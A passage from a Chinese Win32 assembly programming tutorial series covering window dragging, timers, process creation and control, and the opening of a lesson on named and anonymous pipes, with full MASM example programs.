        invoke  GetDC,hWinMain
        mov	@hDC,eax
        invoke	CreateCompatibleDC,@hDC			;建立背景及数字 DC
        mov	hDcBack,eax
        invoke	ReleaseDC,hWinMain,@hDC
        invoke	SelectObject,hDcBack,hBmpBack
        invoke	_CenterWindow,hWinMain

        ret

_Init		endp
;********************************************************************
_Quit		proc
        local	@stWindow:RECT

        invoke	DestroyMenu,hMenu
        invoke	DeleteDC,hDcBack
        invoke	DeleteObject,hBmpBack
        invoke	DestroyWindow,hWinMain
        invoke	PostQuitMessage,NULL

        ret

_Quit		endp
;********************************************************************
        end	start

程序的分析和要点

创建窗口的时候，窗口风格为 WS_POPUP，所以创建的窗口没有标题栏，这样的窗口适合于设置成特殊形状的窗口

        invoke	CreateWindowEx,WS_EX_TOOLWINDOW,\
            offset szClassName,NULL,\
            WS_POPUP or WS_SYSMENU,\
            0,0,1,1,\
            NULL,NULL,hInstance,NULL

但是当窗口没有标题栏后，我们就无法用拖动标题栏的办法来移动窗口，如果让窗口一动不动呆在屏幕中间显然是不行的，这里有一个替代办法，我们可以响应按下鼠标左键的消息，在 WM_LBUTTONDOWN 消息中想窗口发送 WM_NCLBUTTONDOWN (非客户区鼠标按下消息) 位置在 HTCAPTION 来模拟鼠标按在标题栏中来实现移动的功能。

        .elseif eax == WM_LBUTTONDOWN
            invoke	UpdateWindow,hWnd		;即时刷新
            invoke	ReleaseCapture
            invoke	SendMessage,hWnd,WM_NCLBUTTONDOWN,HTCAPTION,0

(C) Copyright by LuoYunBin's Win32 ASM Page，http://asm.yeah.net


罗云彬的Win32汇编教程

Win32汇编教程十
定时器的应用

在这儿下载本节的所有源程序

概述

Windows 的定时器是一种输入设备，它周期性地在指定的间隔时间通知应用程序。它可以用向指定窗口发送 WM_TIMER 消息或者调用指定的过程来执行用户的程序。定时器的应用主要包括下面一些地方：

  1. 时钟程序 - 显然，这是定时器最直接的应用。
  2. 多任务 - 如果程序有大量的数据处理，除了用多线程的办法，还可以用定时器，在每一个定时器消息中处理一小块内容。
  3. 定时显示程序的状况 - 定时器就相当于 Dos 编程中的自己挂接在 int 1ch 上面的要定时处理的程序，它可以定时显示程序运行的情况，如发送了多少内容，接收了多到内容等等。
  4. 在游戏程序中使用定时器可以消除在不同处理器下用延时来保持速度一致所造成的误差。
  5. 用于数据流处理 - 在音频、视频的播放中，需要隔一段时间处理一段数据。

总的来说，在 Dos 下实现精确定时的唯一方法是在 int 1ch 时钟中断中处理程序，但你使用起来必须遵守很多的规范，而在 Windows 的定时器中，你可以用 SetTimer 函数分配不止一个的定时器，比如说，在你的文本编辑程序中，你可以使用一个间隔1秒的定时器来在状态栏中显示时钟，同时分配一个10分钟的定时器来实现定时存盘的功能。定时器实际上是 Windows 对时钟中断的一种扩展，它的本质还是基于时钟中断的，所以你实际上无法把定时器的间隔设置到55毫秒以下，另外，定时器的精度也是以55毫秒为倍数的，比如说，你设置了一个1秒的定时器，它实际上是在每989毫秒的时候发生的。和在 Dos 下使用时钟中断，windows 的定时器还有下面一些要点：

  1. 在 Dos 中，你的程序随时可能被 int 1ch 打断，而在Windows 中，Windows 通过 WM_TIMER 消息把定时器消息放入正常的消息队列中，所以你不必担心你的程序在别的处理中被定时器打断。
  2. 不可能有同时两条以上的 WM_TIMER 消息，如果在一个还在消息队列中，窗口再得到一条 WM_TIMER 消息，两条消息会被合并为一条，所以在程序比较忙的时候可能会丢失 WM_TIMER 消息。
  3. WM_TIMER 消息的级别是很低的，程序只有在消息队列中没有其他消息的情况下，才会接收 WM_TIMER 消息，你可以通过下马方法验证：在一个设置了定时器的窗口上按住标题栏移动窗口，你会发现定时器停止了工作，当你松开鼠标后，在这个过程中丢失的 WM_TIMER 消息并没有被补上，所以如果你设计一个时钟程序，你不能使用定时器消息来计数，而必须在消息中每次获取正确的系统时间。

讲了这么多定时器的特点，下面是定时器相关的API，你会发现除了在使用中要注意的这些特性，定时器的API真是又少又简单：

  1. 建立定时器
    SetTimer(
    HWND hWnd, // handle of window for timer messages
    UINT nIDEvent, // timer identifier
    UINT uElapse, // time-out value
    TIMERPROC lpTimerFunc // address of timer procedure
    );
    hWnd 是 windows 发送 WM_TIMER 的窗口，nIDEvent 是定时器的编号，在 WM_TIMER 中出现在 wParam 参数中，用来区分在多个定时器的情况下，这条消息是由哪个定时器产生的。uElapse 是定时器间隔的毫秒数，如果你要设置一个1秒的定时器，这个值就是1000，lpTimerFunc 是处理定时器消息的过程，如果这个参数不是 NULL，windows 在到时间后会调用lpTimerFunc 指定的过程，调用的参数是 CALLBACK TimerProc(hwnd,WM_TIMER,iTimerID,dwTime)，iTimerID 是定时器 ID，dwTime 是系统时间；如果 lpTimerFunc 参数是 NULL，Windows 会把 WM_TIMER 消息放入消息循环中，消息的 hWnd 是第一个参数中指定的 hWnd，也就是说向这个窗口发送了 WM_TIMER 消息。
    另外，如果你的程序没有窗口，你也可以用这种办法建立定时器：invoke SetTimer,NULL,NULL,uElapse,TimerProc，函数会返回一个系统定义的 TimerID供你在 KillTimer 中使用。
  2. 取消定时器
    KillTimer(
    HWND hWnd, // handle of window that installed timer
    UINT uIDEvent // timer identifier
    );
    取消定时器只需对应 SetTimer 时的 hWnd 和 uIDEvent 调用 KillTimer 函数就行了。

在本节的例子程序中，我在对话框中的 WM_INIT 消息中用 SetTimer 建立两个定时器，时间分别是500ms 和 200ms，然后在间隔0.5秒的定时器消息中更换按钮上的图片，在间隔 0.2 秒的定时器消息中更换标题栏上的小图标，你就可以看到动画的效果了。

源程序 - 汇编源文件

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	Programmed by 罗云彬, bigluo@telekbird.com.cn
;	Website: http://asm.yeah.net
;	LuoYunBin's Win32 ASM page (罗云彬的编程乐园)
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	版本信息
;	汇编教程附带例子程序 - 定时器的使用
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

        .386
        .model flat, stdcall
        option casemap :none   ; case sensitive

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	Include 数据
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

include		windows.inc
include		user32.inc
include		kernel32.inc
include		comctl32.inc
include		comdlg32.inc

includelib	user32.lib
includelib	kernel32.lib
includelib	comctl32.lib
includelib	comdlg32.lib

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	Equ 数据
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

IDI_MAIN	equ		1
IDI_MOON1	equ		2
IDI_MOON2	equ		3
IDI_MOON3	equ		4
IDI_MOON4	equ		5
IDI_MOON5	equ		6
IDI_MOON6	equ		7
IDI_MOON7	equ		8
IDI_MOON8	equ		9

DLG_MAIN	equ		1000
ID_MOON		equ		1001

ID_TIMER1	equ		1
ID_TIMER2	equ		2
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

        .data?

hInstance	dd	?
dwCounter1	dd	?
dwCounter2	dd	?
hIcon1		dd	?
hIcon2		dd	?
hIcon3		dd	?
hIcon4		dd	?
hIcon5		dd	?
hIcon6		dd	?
hIcon7		dd	?
hIcon8		dd	?
szBuffer	db	256 dup	(?)

        .data

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	代码段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

        .code
;********************************************************************
_ProcDlgMain	proc	uses ebx edi esi, \
        hWnd:DWORD,wMsg:DWORD,wParam:DWORD,lParam:DWORD

        mov	eax,wMsg
;********************************************************************
        .if	eax ==	WM_CLOSE
            invoke	KillTimer,hWnd,ID_TIMER1
            invoke	KillTimer,hWnd,ID_TIMER2
            invoke	EndDialog,hWnd,NULL
;********************************************************************
        .elseif	eax ==	WM_INITDIALOG
            mov	edi,offset hIcon1
            mov	ebx,IDI_MOON1
            mov	ecx,8
            @@:
            push	ecx
            invoke	LoadIcon,hInstance,ebx
            cld
            stosd
            inc	ebx
            pop	ecx
            loop	@B
            invoke	SetTimer,hWnd,ID_TIMER1,500,NULL
            invoke	SetTimer,hWnd,ID_TIMER2,200,NULL
            invoke	SendMessage,hWnd,WM_SETICON,ICON_SMALL,hIcon1
;********************************************************************
        .elseif	eax ==	WM_TIMER
            .if	wParam == ID_TIMER1
                inc	dwCounter1
                .if	dwCounter1 == 8
                    mov	dwCounter1,0
                .endif
                mov	eax,dwCounter1
                shl	eax,2
                add	eax,offset hIcon1
                mov	eax,[eax]
                invoke	SendMessage,hWnd,WM_SETICON,ICON_SMALL,eax
            .else
                inc	dwCounter2
                .if	dwCounter2 == 8
                    mov	dwCounter2,0
                .endif
                mov	eax,dwCounter2
                shl	eax,2
                add	eax,offset hIcon1
                mov	eax,[eax]
                invoke	SendDlgItemMessage,hWnd,ID_MOON,BM_SETIMAGE,IMAGE_ICON,eax
            .endif
;********************************************************************
        .else
            mov	eax,FALSE
            ret
        .endif
        mov	eax,TRUE
        ret

_ProcDlgMain	endp
;********************************************************************
start:
        invoke	GetModuleHandle,NULL
        mov	hInstance,eax
        invoke	DialogBoxParam,hInstance,DLG_MAIN,NULL,offset _ProcDlgMain,0
        invoke	ExitProcess,NULL
;********************************************************************
        end	start

程序的分析和要点

有了上面的介绍，这个程序是很容易看懂的，在 WM_TIMER 消息中，通过 wParam 中的 TimerID 可以区分是哪个定时器产生的消息。在 WM_CLOSE 消息中，通过 KillTimer 来取消定时器。本程序中的的图标定义在资源文件中，在对话框建立的时候，先用 LoadIcon 装入，然后为两个定时器分别保存一个图片编号 dwCounter1 和 dwCounter2，在定时器消息中分别用 WM_SETICON 和 BM_SETIMAGE 消息来对窗口标题的图标和按钮的图标进行设置。

(C) Copyright by LuoYunBin's Win32 ASM Page，http://asm.yeah.net


罗云彬的Win32汇编教程

Win32汇编教程十一
进程控制

在这儿下载本节的所有源程序

概述

进程控制简单的说相当于在一个程序中执行另一个程序，你可以把它想象成在 Dos 下用 int 21h/4bh 功能来执行另外一个程序，如果单从执行另一个程序的目的来讲，在 Windows 中有不少方法，如使用 ShellExecute 等，但这些 Api 仅仅是“执行”而已，进程控制的意义在于可以创建一个进程，并可以通过进程句柄结束进程，同样你也可以通过进程句柄来跟踪程序，还可以用 ReadProcessMemory 和 WriteProcessMemory 来读写子进程的内存空间。

进程控制要使用的相关 API 有下面这些：

创建进程的函数为CreateProcess，该函数比较复杂，共有十个参数，但有个好消息是使用时大部分可以用 NULL。

BOOL CreateProcess(
LPCTSTR lpApplicationName, // 执行程序文件名
LPTSTR lpCommandLine, // 参数行
LPSECURITY_ATTRIBUTES lpProcessAttributes, // 进程安全参数
LPSECURITY_ATTRIBUTES lpThreadAttributes, // 线程安全参数
BOOL bInheritHandles, // 继承标记
DWORD dwCreationFlags, // 创建标记
LPVOID lpEnvironment, // 环境变量
LPCTSTR lpCurrentDirectory, // 运行该子进程的初始目录
LPSTARTUPINFO lpStartupInfo, // 创建该子进程的相关参数
LPPROCESS_INFORMATION lpProcessInformation // 创建后用于被创建子进程的信息
);

各个参数的说明如下：

  • lpApplicationName：为执行程序的文件名，你也可以把执行文件名包括在下一个参数 lpCommandLine 中，然后把该参数置为NULL。
  • lpCommandLine：为参数行，如果无参数可以为NULL，在有参数传递给进程时可以如下设置：lpApplicationName=文件名；lpCommandLine=参数，或者 lpApplicationName=NULL；lpCommandLine=文件名 + 参数。
  • lpProcessAttributes，lpThreadAttributes：分别描述了创建的进程和线程安全属性，如果使用NULL表示使用默认的安全描述。
  • bInheritHandles：表示当前进程中的打开的句柄是否能够被创建的子进程所继承。
  • dwCreationFlags：表示创建标记，通过该标记可以设置进程的创建状态和优先级别。常用的有下面的标记：
    CREATE_NEW_CONSOLE：为子进程创建一个新的控制台。
    CREATE_SUSPENDED：子进程在创建时为挂起状态。如果指定了这个参数，那么执行 CreateProcess 后进程只是被装入内存，但不是马上开始执行，而是必须等主程序调用 ResumeThread 后才继续执行。
    HIGH_PRIORITY_CLASS/NORMAL_PRIORITY_CLASS：高/普通优先级别。
  • lpEnvironment：表示子进程所使用的环境变量，如果为NULL，则表示与当前进程使用相同的环境变量。
  • lpCurrentDirectory：表示子进程运行的初始目录。
  • lpStartupInfo：STARTUPINFO 结构，用于在创建子进程时设置各种属性。
  • lpProcessInformation：PROCESS_INFORMATION 结构，用来在进程创建后接收相关信息，该结构由系统填写。

调用 CreateProcess 函数有三个参数是必需的，一在 lpApplicationName 或 lpCommandLine 指定文件名，二是 lpStartupInfo 结构，三是 PROCESS_INFORMATION 结构，因为 PROCESS_INFORMATION 结构返回了进程建立后的句柄，以后的一切操作将要用到这些返回的句柄，它是由系统填写的，结构说明如下：

typedef struct _PROCESS_INFORMATION {
HANDLE hProcess; //进程句柄
HANDLE hThread; //进程的主线程句柄
DWORD dwProcessId; //进程ID
DWORD dwThreadId; //进程的主线程ID
} PROCESS_INFORMATION;

另外还有一个关键的结构 STARTUPINFO，该结构定义如下：

typedef struct STARTUPINFO {
DWORD cb; //结构长度
LPTSTR lpReserved; //保留
LPTSTR lpDesktop; //保留
LPTSTR lpTitle; //如果为控制台进程则为显示的标题
DWORD dwX; //窗口位置
DWORD dwY; //窗口位置
DWORD dwXSize; //窗口大小
DWORD dwYSize; //窗口大小
DWORD dwXCountChars; //控制台窗口字符号宽度
DWORD dwYCountChars; //控制台窗口字符号高度
DWORD dwFillAttribute; //控制台窗口填充模式
DWORD dwFlags; //创建标记
WORD wShowWindow; //窗口显示标记，如同ShowWindow中的标记
WORD cbReserved2; //
LPBYTE lpReserved2; //
HANDLE hStdInput; //标准输入句柄
HANDLE hStdOutput; //标准输出句柄
HANDLE hStdError; //标准错误句柄
} STARTUPINFO, *LPSTARTUPINFO;

结构中 dwFlags 指定了其它的一些字段是否有效，如：dwFlags包含 STARTF_USESIZE 表示dwXSize和dwYSize有效，包含STARTF_USEPOSITION表示dwX和dwY有效，等等。如果不是有特殊的要求，我们不用自己去填写这个结构，只需用 GetStartupInfo 让 Windows 为你填写好了，这样，建立一个进程的语句就是：

...
stStartUp STARTUPINFO stProcInfo PROCESS_INFORMATION <?>
stProcInfo PROCESS_INFORMATION <?>
...

invoke GetStartupInfo,addr stStartUp
invoke CreateProcess,NULL,addr szFileName,NULL,NULL,NULL,NORMAL_PRIORITY_CLASS,NULL,NULL,offset stStartUp,offset stProcInfo
...

如果成功的话，eax 将返回非零值，注意返回在 PROCESS_INFORMATION 结构中的 hProcess，以后很多的操作都要用到它。

强制结束一个进程的 API 为 TerminateProcess

BOOL TerminateProcess(
HANDLE hProcess, // 进程句柄
UINT uExitCode // 退出代码
);

你可以使用语句 invoke TerminateProcess,structProcInfo.hProcess,0 来结束进程，要注意的是如果可能的话，尽量不要在程序中强制结束别的进程，因为使用 TerminateProcess 结束的进程，它装载的 dll 不能被正确卸载。这样可能会引起系统资源的无效占用。最好的办法在进程中自己使用 ExitProcess 退出。

查询一个进程状态的 API 为 GetExitCodeProcess。

BOOL GetExitCodeProcess(
HANDLE hProcess, // handle to the process
LPDWORD lpExitCode // address to receive termination status
);

如果进程尚未退出，函数将会返回STILL_ACTIVE。这个 API 是马上返回的。

等待进程执行可以用 WaitForSingleObject

这个 API 并不是单用于进程的等待，其它还可以用在线程等操作，但我们一般用它来等待进程的执行，它的申明是：

DWORD WaitForSingleObject(
HANDLE hHandle, // handle of object to wait for
DWORD dwMilliseconds // time-out interval in milliseconds
);

如果我们要等待进程执行 1 秒钟，可以 invoke WaitForSingleObject,stProcInfo.hProcess,1000 如果要等到进程结束，可以用 WaitForSingleObject,stProcInfo.hProcess,INFINITE ，参数 2 中的 INFINITE 在 Windows.inc 中有定义，意思是无穷等待。

最后，当不再使用进程句柄的时候，不要忘了使用 CloseHandle 关闭 hProcess 和 hThread，否则会浪费系统句柄的资源。

源程序 - 汇编源文件

    .386
    .model flat, stdcall
    option casemap :none   ; case sensitive
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	Include 数据
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include		windows.inc
include		user32.inc
include		kernel32.inc
include		comctl32.inc
include		comdlg32.inc
include		gdi32.inc

includelib	user32.lib
includelib	kernel32.lib
includelib	comctl32.lib
includelib	comdlg32.lib
includelib	gdi32.lib
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	Equ 数据
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
DLG_MAIN	equ	3000
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
ID_BROWSE	equ	3001
ID_RUN		equ	3002
ID_EXIT		equ	3003
ID_TEXT		equ	3004

F_RUNNING	equ	0001h	;进程在运行中
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
        .data?

stStartUp	STARTUPINFO		<?>
stProcInfo	PROCESS_INFORMATION	<?>
stOpenFileName	OPENFILENAME	<?>

hRunThread	dd	?
hInstance	dd	?
hWinMain	dd	?
hIcon		dd	?
szBuffer	db	512 dup	(?)

dwFlag		dd	?
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

        .data

szExcute	db	'执行(&E)',0		;按钮文字
szKill		db	'终止(&E)',0
szExcuteError	db	'启动应用程序错误！',0

szTitleOpen	db	"Open executable file...",0
szExt		db	'*.exe',0
szFilter	db	'Excutable Files',0,'*.exe;*.com',0
        db	0

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	代码段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
        .code

if		DEBUG
        include		Debug.asm
endif
include		Win.asm

;********************************************************************
; 执行程序用的线程
; 1. 用 CreateProcess 建立进程
; 2. 用 WaitForSingleOject 等待进程结束
;********************************************************************
_RunThread	proc	uses ebx ecx edx esi edi,\
        dwParam:DWORD

        or	dwFlag,F_RUNNING
;********************************************************************
; 取消“退出”按钮并把“执行”按钮改为“中止”
;********************************************************************
        invoke	GetDlgItem,hWinMain,ID_EXIT
        invoke	EnableWindow,eax,FALSE
        invoke	SendDlgItemMessage,hWinMain,ID_RUN,WM_SETTEXT,0,offset szKill

;********************************************************************
; 执行文件，如果成功则等待程序结束
;********************************************************************
        invoke	GetStartupInfo,addr stStartUp
        invoke	CreateProcess,NULL,addr szBuffer,NULL,NULL,\
            NULL,NORMAL_PRIORITY_CLASS,NULL,NULL,offset stStartUp,offset stProcInfo
        .if	eax !=	0
            invoke	WaitForSingleObject,stProcInfo.hProcess,INFINITE
            invoke	CloseHandle,stProcInfo.hProcess
            invoke	CloseHandle,stProcInfo.hThread
        .else
            invoke	MessageBox,hWinMain,addr szExcuteError,NULL,MB_OK or MB_ICONERROR
        .endif
;********************************************************************
; Enable “退出”按钮并把“中止”按钮改为“执行”
;********************************************************************
        invoke	GetDlgItem,hWinMain,ID_EXIT
        invoke	EnableWindow,eax,TRUE
        invoke	SendDlgItemMessage,hWinMain,ID_RUN,WM_SETTEXT,0,offset szExcute
        and	dwFlag,not F_RUNNING
        ret

_RunThread	endp

;********************************************************************
;	窗口程序
;********************************************************************
DialogMainProc	proc	uses ebx edi esi, \
        hWnd:DWORD,wMsg:DWORD,wParam:DWORD,lParam:DWORD

        mov	eax,wMsg
;********************************************************************
        .if	eax ==	WM_INITDIALOG
            mov	eax,hWnd
            mov	hWinMain,eax
            call	_Init
;********************************************************************
        .elseif	eax ==	WM_CLOSE
            invoke	EndDialog,hWinMain,NULL
;********************************************************************
        .elseif	eax ==	WM_COMMAND
            mov	eax,wParam
            .if	ax ==	ID_BROWSE
                call	_BrowseFile
                call	_CheckText
            .elseif	ax ==	ID_TEXT
                invoke	GetDlgItemText,hWinMain,ID_TEXT,addr szBuffer,512
                call	_CheckText
            .elseif	ax ==	ID_RUN
;********************************************************************
; 如果没有在执行中(dwFlag 没有置位) 则建立线程，在线程中执行程序
; 如果已经在执行中，则用 TerminateProcess 终止执行
;********************************************************************
                test	dwFlag,F_RUNNING
                .if	ZERO?
                    invoke	CreateThread,NULL,NULL,offset _RunThread,\
                    NULL,NULL,offset hRunThread
                .else
                    invoke	TerminateProcess,stProcInfo.hProcess,-1
                .endif
            .elseif	ax ==	ID_EXIT
                invoke	EndDialog,hWinMain,NULL
            .endif
        .else
;********************************************************************
;	注意：对话框的消息处理后，要返回 TRUE,对没有处理的消息
;	要返回 FALSE
;********************************************************************
            mov	eax,FALSE
            ret
        .endif
        mov	eax,TRUE
        ret

DialogMainProc	endp
;********************************************************************
; 程序入口
;********************************************************************
start:
        invoke	InitCommonControls
        invoke	GetModuleHandle,NULL
        mov	hInstance,eax
        invoke	DialogBoxParam,hInstance,DLG_MAIN,NULL,offset DialogMainProc,0
        invoke	ExitProcess,NULL
;********************************************************************
_Init		proc

        invoke	_CenterWindow,hWinMain

        invoke	SendDlgItemMessage,hWinMain,ID_TEXT,EM_LIMITTEXT,512,NULL
        invoke	GetDlgItem,hWinMain,ID_RUN
        invoke	EnableWindow,eax,FALSE

        ret

_Init		endp
;********************************************************************
; 根据 text control 中有无字符决定是否将“执行”按钮 Disable 掉
;********************************************************************
_CheckText	proc

        invoke	GetDlgItemText,hWinMain,ID_TEXT,addr szBuffer,512
        invoke	lstrlen,addr szBuffer
        .if	eax != 0 || (dwFlag & F_RUNNING)
            invoke	GetDlgItem,hWinMain,ID_RUN
            invoke	EnableWindow,eax,TRUE
        .else
            invoke	GetDlgItem,hWinMain,ID_RUN
            invoke	EnableWindow,eax,FALSE
        .endif
        ret

_CheckText	endp
;********************************************************************
_BrowseFile	proc

        mov	stOpenFileName.Flags,OFN_PATHMUSTEXIST or OFN_FILEMUSTEXIST
        mov	stOpenFileName.lStructSize,SIZEOF stOpenFileName
        mov	eax,hWinMain
        mov	stOpenFileName.hwndOwner,eax
        mov	stOpenFileName.lpstrFilter,offset szFilter	;扩展名
        mov	stOpenFileName.lpstrFile,offset szBuffer	;文件名缓冲
        mov	stOpenFileName.nMaxFile,512			;文件名缓冲长度
        mov	stOpenFileName.lpstrInitialDir,0
        mov	stOpenFileName.lpstrTitle,offset szTitleOpen
        mov	stOpenFileName.lpstrDefExt,offset szExt
        invoke	GetOpenFileName,offset stOpenFileName
        .if	eax == FALSE
            ret
        .endif
        invoke	SetDlgItemText,hWinMain,ID_TEXT,addr szBuffer
        ret

_BrowseFile	endp
;********************************************************************
        end	start

程序的分析和要点

本程序在使用调用 GetOpenFileName 或者自己在文本框中输入执行文件名，然后通过 CreateProcess 建立进程，最后用 WaitForSingleObject 等待进程结束，如果在对话框的处理过程中等待会导致程序在进程返回前无法响应，所以程序中用 CreateThread 建立一个线程来实现这个过程，当子过程返回的时候，线程结束。dwFlag 中的 0 位作为标志位，表示是否子过程在运行中，如果这一位置 1 的话，按下“终止”按钮会用 TerminateProcess 来强制终止子进程。

(C) Copyright by LuoYunBin's Win32 ASM Page，http://asm.yeah.net


罗云彬的Win32汇编教程

Win32汇编教程十二
管道操作

在这儿下载本节的所有源程序

概述

Windows 引入了多进程和多线程机制。同时也提供了多个进程之间的通信手段，包括剪贴板、DDE、OLE、管道等，和其他通信手段相比，管道有它自己的限制和特点，管道实际上是一段共享内存区，进程把共享消息放在那里。并通过一些 API 提供信息交换。
管道是两个头的东西，每个头各连接一个进程或者同一个进程的不同代码，按照管道的类别分有两种管道，匿名的和命名的；按照管道的传输方向分也可以分成两种，单向的双向的。根据管道的特点，命名管道通常用在网络环境下不同计算机上运行的进程之间的通信（当然也可以用在同一台机的不同进程中）它可以是单向或双向的；而匿名管道只能用在同一台计算机中，它只能是单向的。匿名管道其实是通过用给了一个指定名字的有名管道来实现的。
使用管道的好处在于：读写它使用的是对文件操作的 api，结果操作管道就和操作文件一样。即使你在不同的计算机之间用命名管道来通信，你也不必了解和自己去实现网络间通信的具体细节。

我们简单的介绍一下命名管道的使用。

命名管道是由服务器端的进程建立的，管道的命名必须遵循特定的命名方法，就是 "\\.\pipe\管道名"，当作为客户端的进程要使用时，使用"\\计算机名\\pipe\管道名" 来打开使用，具体步骤如下：

  1. 服务端通过函数 CreateNamedPipe 创建一个命名管道的实例并返回用于今后操作的句柄，或为已存在的管道创建新的实例。
  2. 服务端侦听来自客户端的连接请求，该功能通过 ConnectNamedPipe 函数实现。
  3. 客户端通过函数 WaitNamedPipe 来等待管道的出现，如果在超时值变为零以前，有一个管道可以使用，则 WaitNamedPipe 将返回 True，并通过调用 CreateFile 或 CallNamedPipe 来呼叫对服务端的连接。
  4. 此时服务端将接受客户端的连接请求，成功建立连接，服务端 ConnectNamedPipe 返回 True
  5. 建立连接之后，客户端与服务器端即可通过 ReadFile 和 WriteFile，利用得到的管道文件句柄，彼此间进行信息交换。
  6. 当客户端与服务端的通信结束，客户端调用 CloseFile，服务端接着调用 DisconnectNamedPipe。最后调用函数CloseHandle来关闭该管道。

由于命名管道使用时作为客户端的程序必须知道管道的名称，所以更多的用在同一“作者”编写的服务器/工作站程序中，你不可能随便找出一个程序来要求它和你写的程序来通过命名管道通信。而匿名管道的使用则完全不同，它允许你和完全不相干的进程通信，条件是这个进程通过控制台“console”来输入输出，典型的例子是老的 Dos 应用程序，它们在运行时 Windows 为它们开了个 Dos 窗口，它们的输入输出就是 console 方式的。还有一些标准的 Win32 程序也使用控制台输入输出，如果在 Win32 编程中不想使用图形界面，你照样可以使用 AllocConsole 得到一个控制台，然后通过 GetStdHandle 得到输入或输出句柄，再通过 WriteConsole 或 WriteFile 把结果输出到控制台（通常是一个象 Dos 窗口）的屏幕上。虽然这些程序看起来象 Dos 程序，但它们是不折不扣的 Win32 程序，如果你在纯 Dos 下使用，就会显示“The program must run under Windows!”。

一个控制台有三个句柄：标准输入、标准输出和和标准错误句柄，标准输入、标准输出句柄是可以重新定向的，你可以用匿名管道来代替它，这样一来，你可以在管道的另一端用别的进程来接收或输入，而控制台一方并没有感到什么不同，就象 Dos 下的 > 或者 < 可以重新定向输出或输入一样。通常控制台程序的输入输出如下：

(控制台进程output) write ----> 标准输出设备（一般是屏幕）
(控制台进程input) read <---- 标准输入设备（一般是键盘）

而用管道代替后：

(作为子进程的控制台进程output) write ----> 管道1 ----> read (父进程)
(作为子进程的控制台进程input) read <----> 管道2 <---- write (父进程)

使用匿名管道的步骤如下：

  1. 使用 CreatePipe 建立两个管道，得到管道句柄，一个用来输入，一个用来输出
  2. 准备执行控制台子进程，首先使用 GetStartupInfo 得到 StartupInfo
  3. 使用第一个管道句柄代替 StartupInfo 中的 hStdInput，第二个代替 hStdOutput、hStdError，即标准输入、输出、错误句柄
  4. 使用 CreateProcess 执行子进程，这样建立的子进程输入和输出就被定向到管道中
  5. 父进程通过 ReadFile 读第二个管道来获得子进程的输出，通过 WriteFile 写第一个管道来将输入写到子进程
  6. 父进程可以通过 PeekNamedPipe 来查询子进程有没有输出
  7. 子进程结束后，要通过 CloseHandle 来关闭两个管道。

下面是具体的说明和定义：

1. 建立匿名管道使用 CreatePipe 原形如下：

BOOL CreatePipe(
PHANDLE hReadPipe, // address of variable for read handle
PHANDLE hWritePipe, // address of variable for write handle
LPSECURITY_ATTRIBUTES lpPipeAttributes, // pointer to security attributes
DWORD nSize // number of bytes reserved for pipe
);

当管道建立后，结构中指向的 hReadPipe 和 hWritePipe 可用来读写管道，当然由于匿名管道是单向的，你只能使用其中的一个句柄，参数中的 SECURITY_ATTRIBUTES 的结构必须填写，定义如下：

typedef struct_SECURITY_ATTRIBUTES{
DWORD nLength: //定义以字节为单位的此结构的长度
LPVOID lpSecurityDescriptor; //指向控制这个对象共享的安全描述符,如果为NULL这个对象将被分配一个缺省的安全描述
BOOL bInheritHandle; //当一个新过程被创建时,定义其返回是否是继承的.供系统API函数使用.
}SECURITY_ATTRIBUTES;

2. 填写创建子进程用的 STARTUPINFO 结构，一般我们可以先用 GetStartupInfo 来填写一个缺省的结构，然后改动我们用得到的地方，它们是：

  • hStdInput -- 用其中一个管道的 hWritePipe 代替
  • hStdOutput、hStdError -- 用另一个管道的 hReadPipe 代替
  • dwFlags -- 设置为 STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW 表示输入输出句柄及 wShowWindow 字段有效
  • wShowWindow -- 设置为 SW_HIDE，这样子进程执行时不显示窗口。

